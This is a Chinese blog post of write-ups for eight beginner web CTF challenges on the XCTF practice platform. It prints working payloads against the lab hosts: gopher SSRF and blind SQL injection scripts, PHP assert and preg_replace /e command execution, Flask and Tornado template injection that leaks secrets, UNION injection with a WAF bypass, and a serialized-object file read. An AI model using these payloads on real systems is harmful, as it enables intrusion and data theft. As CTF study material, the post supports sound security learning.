攻防世界练习-CTF入门(二) | 字数总计: 2.7k | 阅读时长: 13分钟 | 阅读量:
1.难度三 1.very_easy_sql-NO.GFSJ1008 访问页面后有输入框,尝试万能登陆但是登陆失败
查看页面源码,发现注释中存在use.php,访问后是一个curl探测输入框 猜测需要配合SSRF,尝试file协议,发现被过滤,返回页面为nonono 尝试 SSRF Gopher协议使用 构造gopher://协议数据流 先尝试读取index 看了大佬的wp,尝试自己写
import urllib.parse target = "127.0.0.1:80/" content = "uname=admin&passwd=admin" content_len = len (content) req = \ """POST /index.php HTTP/1.1 HOST: 127.0.0.1 User-Agent: curl/7.43.0 Accept: */* Content-Type: application/x-www-form-urlencoded Content-Length: {} {} """ .format (content_len,content) first = urllib.parse.quote(req) tmp = first.replace("%0A" ,"%0D%0A" ) last = urllib.parse.quote(tmp) res = "gopher://" +target+"_" +last print (res)
请求结果: 发现出现了base64的set-sookie 解密后为 admin 得知设置cookie为admin, 但是返回页面来看并不存在admin用户 推测后台对admin进行了判断,可能存在注入
cookie所在处可被注入 官方WP
import requests import time import base64 url = "http://61.147.171.105:64317/use.php?url=" flag = "" for pos in range (1 , 50 ): for i in range (33 , 127 ): poc = "') union select 1,2,if(ascii( substr((select * from flag)," + str (pos) + ",1) )=" + str (i) + ",sleep(2),1) # " bs = str (base64.b64encode(poc.encode("utf-8" )), "utf-8" ) final_poc = "gopher://127.0.0.1:80/_GET%20%2findex.php%20HTTP%2f1.1%250d%250aHost%3A%20localhost%3A80%250d%250aConnection%3A%20close%250d%250aContent-Type%3A%20application%2fx-www-form-urlencoded%250d%250aCookie%3A%20this%5Fis%5Fyour%5Fcookie%3D" + bs + "%3B%250d%250a" t1 = time.time() res = requests.get(url + final_poc) t2 = time.time() if (t2 - t1 > 2 ): flag += chr (i) print (flag) break print (flag)
爆破出flag
2.mfm-NO.GFSJ0415 登录进场景后发现以page为访问索引 尝试万能取出,返回为空 在访问about时发现使用了git 猜测存在git泄露
成功访问.git
使用GitHack获取git源码
下载后的源码里的flag.php为空,index.php调用templates文件夹里的四个文件 对index.php进行代码审计
<!-- 传参处理 --> <?php if (isset ($_GET ['page' ])) { $page = $_GET ['page' ]; } else { $page = "home" ; } $file = "templates/" . $page . ".php" ;assert ("strpos('$file ', '..') === false" ) or die ("Detected hacking attempt!" );assert ("file_exists('$file ')" ) or die ("That file doesn't exist!" );?>
最终构造page
1','') or system('cat templates/flag.php');//
查看页面源码得到flag
注意:在截断assert时无法将assert闭合再将后面的字符串注释
3.lottery-NO.GFSJ0099 点击下载附件获取网页源码 访问网站,发现注册后每次买彩票花费2刀,中了才会返回钱 花费$9990000 可以买flag
查看源码 随机生成结果
function random_win_nums ( ) { $result = '' ; for ($i =0 ; $i <7 ; $i ++){ $result .= random_num (); } return $result ; }
购买函数
function buy ($req ) { require_registered (); require_min_money (2 ); $money = $_SESSION ['money' ]; $numbers = $req ['numbers' ]; $win_numbers = random_win_nums (); $same_count = 0 ; for ($i =0 ; $i <7 ; $i ++){ if ($numbers [$i ] == $win_numbers [$i ]){ $same_count ++; } } switch ($same_count ) { case 2 : $prize = 5 ; break ; case 3 : $prize = 20 ; break ; case 4 : $prize = 300 ; break ; case 5 : $prize = 1800 ; break ; case 6 : $prize = 200000 ; break ; case 7 : $prize = 5000000 ; break ; default : $prize = 0 ; break ; } $money += $prize - 2 ; $_SESSION ['money' ] = $money ; response (['status' =>'ok' ,'numbers' =>$numbers , 'win_numbers' =>$win_numbers , 'money' =>$money , 'prize' =>$prize ]); }
在php中真值和任一数字比较的值均为真, 所以抓包,将numbers改成
"numbers":[true,true,true,true,true,true,true]
比对后,拿到money 多买几次就可以购买flag
4.simple_js-NO.GFSJ0480 访问页面,随便输了个密码登陆后查看源码
<html> <head > <title > JS</title > <script type ="text/javascript" > function dechiffre (pass_enc ){ var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65" ; var tab = pass_enc.split (',' ); var tab2 = pass.split (',' );var i,j,k,l=0 ,m,n,o,p = "" ;i = 0 ;j = tab.length ; k = j + (l) + (n=0 ); n = tab2.length ; for (i = (o=0 ); i < (k = j = n); i++ ){o = tab[i-l];p += String .fromCharCode ((o = tab2[i])); if (i == 5 )break ;} for (i = (o=0 ); i < (k = j = n); i++ ){ o = tab[i-l]; if (i > 5 && i < k-1 ) p += String .fromCharCode ((o = tab2[i])); } p += String .fromCharCode (tab2[17 ]); pass = p;return pass; } String ["fromCharCode" ](dechiffre ("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30" )); h = window .prompt ('Enter password' ); alert ( dechiffre (h) ); </script > </head > </html>
String[“fromCharCode”]接收Unicode值,组合成一个新字符串 解码String[“fromCharCode”](dechiffre[])中的十六进制字符串 得到
55,56,54,79,115,69,114,116,107,49,50
对比ASCII表得到
7,8,6,O,s,E,r,t,k,1,2
猜测dechiffre里的pass也是ACSII编码,解密后恰是FAUX PASSWORD HAHA 且函数不管输入什么一直返回pass-FAUX PASSWORD HAHA
题目给了flag的格式为Cyberpeace{xxxxxxxxx} 所以猜测flag其实是Cyberpeace{786OsErtk12} 成功提交
5.ics-05-NO.GFSJ0332 访问页面查了下源码,发现只有index.php一个php文件 访问后点击云平台设备维护中心 尝试用page去读index.php,直接读不行用伪协议
http://61.147.171.105:61269/index.php?page=php://filter/read=convert.base64-encode/resource=index.php
解码后 其中有preg_replace,可以尝试使用//e匹配执行
if ($_SERVER ['HTTP_X_FORWARDED_FOR' ] === '127.0.0.1' ) { echo "<br >Welcome My Admin ! <br >" ; $pattern = $_GET [pat]; $replacement = $_GET [rep]; $subject = $_GET [sub]; if (isset ($pattern ) && isset ($replacement ) && isset ($subject )) { preg_replace ($pattern , $replacement , $subject ); }else { die (); } }
访问
http://61.147.171.105:61269/index.php?pat=/haha/e&rep=phpinfo()&sub=haha
抓包,加入
X-Forwarded-For: 127.0.0.1
成功执行
http://61.147.171.105:61269/index.php?pat=/haha/e&rep=system('ls')&sub=haha
查看sechahahaDir下发现存在flag文件夹,flag文件夹里有flag.php 查看flag.php得到flag
6.easytornado-NO.GFSJ0723 flag.txt => flag文件 /fllllllllllllag hints.txt => md5(cookie_secret+md5(filename))
Tornado 是非阻塞式快速服务器 存在漏洞
1. 文件读取漏洞 2. 模板注入漏洞 3. 跨站攻击,伪造cookie
先测是否存在模板注入 网上查到tornado模板存在一些可访问的快速对象如
尝试
跳到error页面 尝试让msg=
,成功读出cookie_secret
{'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': 'c4a4a033-ffb3-4991-bffd-7a96b7e8fc1a'}
通过hints.txt构造/fllllllllllllag的filehash
e617a328fadf4169c1e85c45c42d8c19 访问 http://61.147.171.105:59636/file?filename=/fllllllllllllag&filehash=e617a328fadf4169c1e85c45c42d8c19
成功读取到flag
7.shrine-NO.GFSJ0724 访问/得到源码
import flask import os app = flask.Flask(__name__) app.config['FLAG' ] = os.environ.pop('FLAG' ) @app.route('/' ) def index (): return open (__file__).read() @app.route('/shrine/' ) def shrine (shrine ): def safe_jinja (s ): s = s.replace('(' , '' ).replace(')' , '' ) blacklist = ['config' , 'self' ] return '' .join(['{{% set {}=None%}}' .format (c) for c in blacklist]) + s return flask.render_template_string(safe_jinja(shrine)) if __name__ == '__main__' : app.run(debug=True )
尝试访问/shrine/发现失败,尝试模板注入
http://61.147.171.105:56178/shrine/%7B%7B1+1%7D%7D
被成功执行
FLAG被写在config文件中,但 ()被过滤想找类掉用函数几乎不可能
看了大佬的wp: 借助current_app, 这是全局变量代理,查看其config即可
{{url_for.__globals__['current_app'].config}}
找到flag
8.fakebook-NO.GFSJ0726 访问robots.txt 发现Disallow: /user.php.bak 访问下载user.php备份文件
<?php class UserInfo { public $name = "" ; public $age = 0 ; public $blog = "" ; public function __construct ($name , $age , $blog ) { $this ->name = $name ; $this ->age = (int )$age ; $this ->blog = $blog ; } function get ($url ) { $ch = curl_init (); curl_setopt ($ch , CURLOPT_URL, $url ); curl_setopt ($ch , CURLOPT_RETURNTRANSFER, 1 ); $output = curl_exec ($ch ); $httpCode = curl_getinfo ($ch , CURLINFO_HTTP_CODE); if ($httpCode == 404 ) { return 404 ; } curl_close ($ch ); return $output ; } public function getBlogContents ( ) { return $this ->get ($this ->blog); } public function isValidBlog ( ) { $blog = $this ->blog; return preg_match ("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i" , $blog ); } }
get函数存在ssrf
创建用户后访问用户界面猜测存在sql注入 通过order by 试出来有4列 尝试联合注入,发现有waf 通过/**/绕过
http://61.147.171.105:56031/view.php?no=-1%20union/**/select%201,2,3,4%20--+
发现2是注入点 爆表名=> users
http://61.147.171.105:56031/view.php?no=-1%20union/**/select%201,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27fakebook%27),3,4%20--+
爆列名=>no, username,passwd,data
http://61.147.171.105:56031/view.php?no=-1%20union/**/select%201,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=%27fakebook%27%20and%20table_name=%27users%27),3,4%20--+
查data,发现用户数据以序列化形式存于数据库中
O:8 :"UserInfo" :3 :{s:4 :"name" ;s:4 :"test" ;s:3 :"age" ;i:11 ;s:4 :"blog" ;s:8 :"test.com" ;}
http://61.147.171.105:56031/view.php?no=-1%20union/**/select%201,(select%20group_concat(data)%20from%20users%20),3,4%20--+
我们从后台查看数据时,首先从数据库中提取出序列化字符串,再将其反序列化, 对反序列化后的对象提取出博客的链接,在利用curl去访问该链接
所以我们借助联合注入,在第四位data构造恶意ssrf读取flag.php
<?php class UserInfo { public $name = 'xrect1fy' ; public $age = 114514 ; public $blog = "file:///var/www/html/flag.php" ; } $xrect1fy = new UserInfo ();echo serialize ($xrect1fy );?>
联合注入data位传入payload
http://61.147.171.105:56031/view.php?no=-1%20union/**/select%201,2,3,%27O:8:%22UserInfo%22:3:{s:4:%22name%22;s:8:%22xrect1fy%22;s:3:%22age%22;i:114514;s:4:%22blog%22;s:29:%22file:///var/www/html/flag.php%22;}%20%27%20--+
iframe的src 访问源码即是flag